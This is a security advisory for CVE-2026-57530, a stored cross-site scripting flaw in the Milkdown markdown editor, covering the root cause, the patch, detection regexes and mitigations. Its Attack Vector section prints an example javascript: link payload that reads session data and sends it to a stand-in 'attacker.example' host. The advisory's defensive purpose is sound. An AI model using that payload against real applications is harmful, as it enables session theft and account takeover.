CVE-2026-57530: Milkdown Stored XSS Vulnerability

CVE-2026-57530 Overview

CVE-2026-57530 is a stored cross-site scripting (XSS) vulnerability in Milkdown, a plugin-based WYSIWYG markdown editor framework. Versions prior to 7.21.3 of the @milkdown/preset-commonmark and @milkdown/components packages fail to validate URL schemes when parsing markdown link syntax. Attackers with document write access can embed javascript: URLs that execute arbitrary JavaScript in the browser context of any user opening the document or clicking the rendered link. The flaw is tracked as CWE-79: Improper Neutralization of Input During Web Page Generation.

Critical Impact
Authenticated attackers with write access to shared Milkdown documents can execute arbitrary JavaScript in victim browsers, enabling session theft, account takeover, and unauthorized actions within the hosting application.

Affected Products

@milkdown/preset-commonmark versions before 7.21.3
@milkdown/components versions before 7.21.3
Milkdown editor framework before 7.21.3

Discovery Timeline

2026-07-24 - CVE-2026-57530 published to NVD
2026-07-27 - Last updated in NVD database

Technical Details for CVE-2026-57530

Vulnerability Analysis

The vulnerability resides in Milkdown's markdown parsing pipeline. The parseMarkdown runner extracts raw URL values from the remark abstract syntax tree (AST) and stores them as href mark attributes on link nodes without validating the URL scheme. When markdown content containing [text](javascript:alert(1)) is processed, the javascript: scheme is preserved verbatim in the ProseMirror document model.

The issue is compounded by an ineffective sanitization call in packages/components/src/link-tooltip/edit/edit-view.ts. The code invoked DOMPurify.sanitize on the bare URL string, but DOMPurify treats standalone strings without HTML tags as text nodes and returns them unchanged. The sanitizer was never designed to validate URL schemes, so javascript: payloads pass through the link-tooltip preview component and read-only mode anchor elements untouched.

Root Cause

The root cause is missing URL scheme allowlisting during markdown-to-DOM conversion. Milkdown trusted the remark AST output and assumed DOMPurify would sanitize dangerous URLs, but DOMPurify only sanitizes HTML markup, not URL contexts. Neither the parser nor the renderer enforced a scheme allowlist restricting href values to http:, https:, mailto:, or relative URLs.

Attack Vector

Exploitation requires an attacker with write access to a document rendered by a vulnerable Milkdown instance. The attacker inserts a markdown link with a javascript: URL, for example [Click me](javascript:fetch('/api/session').then(r=>r.text()).then(d=>fetch('//attacker.example/'+btoa(d)))). When a victim opens the document or clicks the link in read-only mode, the payload executes with the victim's session context. User interaction is required for click-triggered payloads, though tooltip preview rendering can broaden the trigger surface.

typescript

// Security patch: packages/components/src/link-tooltip/edit/edit-view.ts
 import { editorViewCtx } from '@milkdown/core'
 import { TooltipProvider } from '@milkdown/plugin-tooltip'
-import { linkSchema } from '@milkdown/preset-commonmark'
+import { linkSchema, sanitizeLinkHref } from '@milkdown/preset-commonmark'
 import { posToDOMRect } from '@milkdown/prose'
 import { TextSelection } from '@milkdown/prose/state'
-import DOMPurify from 'dompurify'
 import { createApp, ref, type App, type Ref } from 'vue'

Source: GitHub Commit db1ae72

The patch replaces the ineffective DOMPurify import with a new sanitizeLinkHref helper exported from @milkdown/preset-commonmark. The same helper is also imported in packages/components/src/link-tooltip/preview/component.tsx to sanitize hrefs before rendering the tooltip preview.

Detection Methods for CVE-2026-57530

Indicators of Compromise

Stored markdown content containing javascript:, data:text/html, or vbscript: URL schemes within link syntax such as [label](javascript:...).
Anchor elements in rendered Milkdown output whose href attribute begins with javascript: or other non-standard schemes.
Outbound requests from user browsers to unexpected domains immediately after opening or clicking links in Milkdown-rendered documents.

Detection Strategies

Scan document stores and database columns holding markdown content for regex matches on \]\(\s*javascript: and related dangerous URI schemes.
Deploy Content Security Policy (CSP) reporting endpoints to capture violations from inline script execution triggered by rendered links.
Audit application logs for @milkdown/preset-commonmark and @milkdown/components package versions below 7.21.3 in production builds and CI artifacts.

Monitoring Recommendations

Instrument client-side telemetry to record navigation events where location.href transitions to a javascript: URL.
Monitor authentication and session APIs for anomalous requests originating from user sessions shortly after viewing shared documents.
Track Software Bill of Materials (SBOM) entries and dependency manifests for pinned versions of Milkdown packages across all internal applications.

How to Mitigate CVE-2026-57530

Immediate Actions Required

Upgrade @milkdown/preset-commonmark and @milkdown/components to version 7.21.3 or later across all applications embedding the Milkdown editor.
Purge or sanitize existing stored markdown documents by stripping links whose href uses javascript:, data:, or vbscript: schemes.
Enforce a strict Content Security Policy that disallows javascript: URLs and inline event handlers on rendered documents.

Patch Information

Milkdown released version 7.21.3 containing commit db1ae72 which introduces the sanitizeLinkHref helper. The fix is documented in Milkdown Pull Request #2410 and shipped in the v7.21.3 release. Additional context is available in the VulnCheck Security Advisory.

Workarounds

If immediate upgrade is not possible, implement a server-side filter that rejects markdown containing dangerous URL schemes before persistence.
Wrap Milkdown renderer output in a post-processing layer using a URL scheme allowlist restricted to http:, https:, mailto:, and relative URLs.
Apply a restrictive CSP header such as Content-Security-Policy: default-src 'self'; script-src 'self' to block execution of injected javascript: payloads.

bash

# Configuration example: upgrade Milkdown packages to the patched version
npm install @milkdown/preset-commonmark@^7.21.3 @milkdown/components@^7.21.3

# Verify installed versions
npm list @milkdown/preset-commonmark @milkdown/components

# Example CSP header to mitigate residual javascript: URL execution
# Add to your web server or application response headers:
# Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'